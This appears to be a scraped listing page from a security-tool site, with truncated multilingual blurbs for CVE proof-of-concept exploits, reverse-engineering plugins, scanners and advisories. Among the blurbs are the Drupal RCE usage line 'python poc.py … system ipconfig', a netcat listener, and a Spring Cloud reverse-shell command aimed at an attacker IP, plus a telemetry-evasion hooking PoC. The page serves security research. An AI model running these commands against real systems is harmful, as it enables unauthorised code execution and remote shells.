exploit-CVE-2016-10033

PHPMailer 5.2.18 リモートコード実行 PHPMailer は世界で最も人気のあるトランスポートクラスであり、世界中で約900万人のユーザーがいます。ダウンロードは毎日かなりのペースで続いています。多くのオープンソースプロジェクトで使用されています：WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! などなど PHPMailer のバージョン 5.2.18 より前のものには、リモートコード実行（RCE）につながる可能性のある脆弱性があります。isMail トランスポートの mailSend 関数は、Sender...

optee-qemu

CVE-2021-44733: Fuzzing y explotación de un use-after-free en el subsistema TEE del kernel de Linux Recientemente se descubrió una vulnerabilidad de use-after-free en el subsistema TEE del kernel de Linux, hasta la versión 5.15.11 inclusive, y se le asignó CVE-2021-44733 1. A primera vista no...

go_parser

Yet Another Golang binary parser for IDAPro English | 中文 注意 ： 最新的 master 分支为 Python3 版，以前的 master 分支已重命名为 py2 分支，并且暂停维护。 Python3 版本使用说明 此版本是在 macOS/Windows 上 IDA7.4+, python3.8.x 版本测试通过，如果在其他平台上测试存在问题，欢迎提issue 或者 PR。 另外需要注意，macOS 上 IDA7.4+ 是使用系统默认安装的 Python3，这样可能导致自己安装的第三方库无法加载，需要切换到brew 安装的...

replica

REPLICA 驯服之龙 ✨特性 ⚡ 反汇编被遗漏的指令 - 定义Ghidra自动分析未能识别的代码 ⚡ 检测并修复被遗漏的函数 - 定义Ghidra自动分析未能识别的函数 ⚡ 修复'undefinedN'数据类型 - 通过修复'undefinedN'数据类型增强反汇编与反编译效果 ⚡ 将MSDN API信息设为注释 - 将函数、参数及返回值的信息以注释形式集成到Ghidra的反汇编列表中 ⚡ 基于API调用标记函数 - 重命名调用一个或多个API的函数，如果可用，则使用API名称及其类型家族 ⚡ 检测并标记包装函数 - 根据包装层级和包装的函数名重命名包装函数 ⚡ 修复未定义数据和字符...

ntoskrnl-metadata

ntoskrnl-metadata Windows の ntoskrnl.exe バイナリから重要なカーネルメタデータを抽出するための IDA Python スクリプトです。このツールは、CVE-2026-40369 やその他のカーネル脆弱性を対象としたエクスプロイトの開発に必要な関数 RVA と EPROCESS 構造体オフセットを自動的に抽出します。 目的 このツールは、エクスプロイトペイロードにハードコードする必要があるバージョン固有のカーネルメタデータを自動的に抽出することで、CVE-2026-40369 向けのエクスプロイトの作成を支援します。抽出された値により、さまざまな...

Karta

root@kitploit: /$$ /$$ /$$ | $$ /$$/ | $$ | $$ /$$/ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$$$$/ | $$ /$$ $$| $$/ | $$ | $$ $$ /$$$$$$$| $$ / | $$ /$$$$$$$ | $$\ $$ /$$ $$| $$ | $$ /$$ /$$ $$ | $$ \ $$| $$$$$$$| $$ | $$$$/| $$$$$$$ |/ / /|/ / / 用途 "Karta"（俄语中意为"地图"）是一个 IDA Python...

CVE-2021-38304-PoC

CVE-2021-38304 概念実証 概要 このリポジトリには、National Instruments の旧バージョンの nipalk.sys ドライバにおける重大なセキュリティ脆弱性の概念実証が含まれています。この脆弱性により、カーネルモードで任意のコード実行とメモリ開示が可能になります。これはあくまでも個人研究専用を目的としています。 説明 nipalk.sys ドライバは、特定の IOCTL...

CVE-2026-30071

An issue in the RechargePut function of free5gc v4.0.1 allows attackers to cause a Denial of Service DoS via a crafted input...

CVE-2019-6340

CVE-2019-6340 CVE-2019-6340 POC Drupal rce python poc.py url php func command node number 例: python poc.py http://192.168.142.148/drupal-8.6.9/ system ipconfig 200 Twitter: @0w4ys...

Firmware_Slap

Firmware Slap Firmware Slapは、ファームウェアの脆弱性発見と関数類似性のために、concolic解析と関数クラスタリングを組み合わせたツールです。Firmware Slapは一連のライブラリとして構築されており、ほとんどの情報をpickleまたはJSON形式でエクスポートして他のツールと連携できます。 講演のスライドはこちらから入手できます。 セットアップ Firmware Slapは仮想環境で実行する必要があります。Python3.6でテスト済みです。 root@kitploit: sudo apt install python3-virtualenv...

SAFE

SAFE : Embedding de Función Auto-Atenta Artículo Este software es el resultado de nuestra investigación académica. Consulte nuestro artículo en arXiv: arxiv Si usas este código, por favor cita nuestro artículo académico como: root@kitploit: @inproceedingsmassarelli2018safe, title=SAFE:...

CVE-2025-12758

CVE-2025-12758: Validator.js isLength Unicode Variation Selector バイパス CVE ID: CVE-2025-12758 CVSS スコア: 8.7 HIGH 重要度: HIGH CWE: CWE-792 Incomplete Filtering of One or More Instances of Special Elements 公開日: November 26, 2025 開示日: October 19, 2025 脆弱性の概要 この脆弱性は、validator npm パッケージのバージョン 13.15.22...

RSC-Scanner-POC

Next.js RSC ソースコード開示スキャナ CVE-2025-55183 - Next.js React Server Components RSC ソースコード開示脆弱性を検出するセキュリティスキャナです。 説明 このスキャナは、Next.js React Server Components RSC におけるソースコード開示を検出します。脆弱なサーバーファンクションに送信された悪意のあるHTTPリクエストは、引数が文字列化された際に、任意のサーバーファンクションのソースコードを安全でない形で返す可能性があります。 機能 🔍 自動スキャン :...

mora-hwbp

Mora-HWBP — ハードウェアブレークポイントによるAMSI / WLDP / ETWテレメトリフック メモリ内コードパッチの代替として、ハードウェアブレークポイント（CPUデバッグレジスタ）ベースの関数フックを実証するセキュリティリサーチ用Proof-of-Concept（POC）。 目的と範囲 このリポジトリは、防御的なセキュリティリサーチ、レッドチーム/パープルチーム教育、検知エンジニアリング、およびWindows内部構造の学術研究...

ida_kernelcache

idakernelcache: An IDA Toolkit for analyzing iOS kernelcaches idakernelcache is an IDAPython module for IDA Pro to make working with iOS kernelcaches easier. The module provides functions to: Convert iOS 12's new static tagged pointers into normal kernel pointers. Parse the kernel's PRELINKINFO...

CVE-2024-21513

CVE-2024-21513 CVE-2024-21513 的概念验证（PoC） 漏洞利用原始文档由 Snyk 安全研究团队提供 漏洞利用 CVE-2024-21513 是 langchain-experimental 中的一个漏洞：未经验证的 SQL 查询结果被传递给 Python 的 eval 函数，从而通过基于 SQL 的输入注入实现远程代码执行。 PoC 结构 本 PoC 是一个极其基础的 Flask 应用，内嵌 HTML，用户可以在 SQLite 数据库中输入坐标。 如果用户在 y 值中输入恶意载荷，有漏洞的 LangChain-Experimental 功能会根据 x 值获取...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring CloudのRCEエクスプロイト CVE 2022-22963 CVE-2022-22963 のエクスプロイト - Spring Cloud Functionにおけるリモートコマンド実行 脆弱性の詳細については、こちら と こちら を参照してください。 PoC 攻撃者のホスト上でnetcatを実行: root@kitploit: $ nc -lvnp 9001 攻撃者のホスト上でデフォルトポート 9001 を使用してエクスプロイトを実行する（例）: root@kitploit: $ ./exploit.sh site.com 10.10.14.122 ---Reverse...

CVE-2018-7600

CVE-2018-7600 - Drupal 7 リモートコード実行 これは、脆弱なDrupal 7インストール（= 7.57）を標的としたCVE-2018-7600エクスプロイトのRust実装です。このCLIは次のPoCフローを再現します。user/passwordパスを介してキャッシュされたレンダリング可能なフォームを汚染し、formbuildidを抽出し、その後file/ajaxエンドポイントを通じてキャッシュされたペイロードをトリガーし、PHP関数呼び出しによるリモートコード実行を達成します。 脆弱性の概要 CVE-2018-7600は、Drupal...

CVE-2026-81722

nltk PorterStemmer in versions = 3.10.2 fixed in 3.10.3 contains an inefficient-algorithmic-complexity denial of service in PorterStemmer.stem. The isconsonant helper walks backward over the entire run of trailing 'y' characters on every call, and measure invokes it for each stem position, causin...

CVE-2026-81722 nltk PorterStemmer before 3.10.3 Quadratic-time DoS

nltk PorterStemmer in versions = 3.10.2 fixed in 3.10.3 contains an inefficient-algorithmic-complexity denial of service in PorterStemmer.stem. The isconsonant helper walks backward over the entire run of trailing 'y' characters on every call, and measure invokes it for each stem position, causin...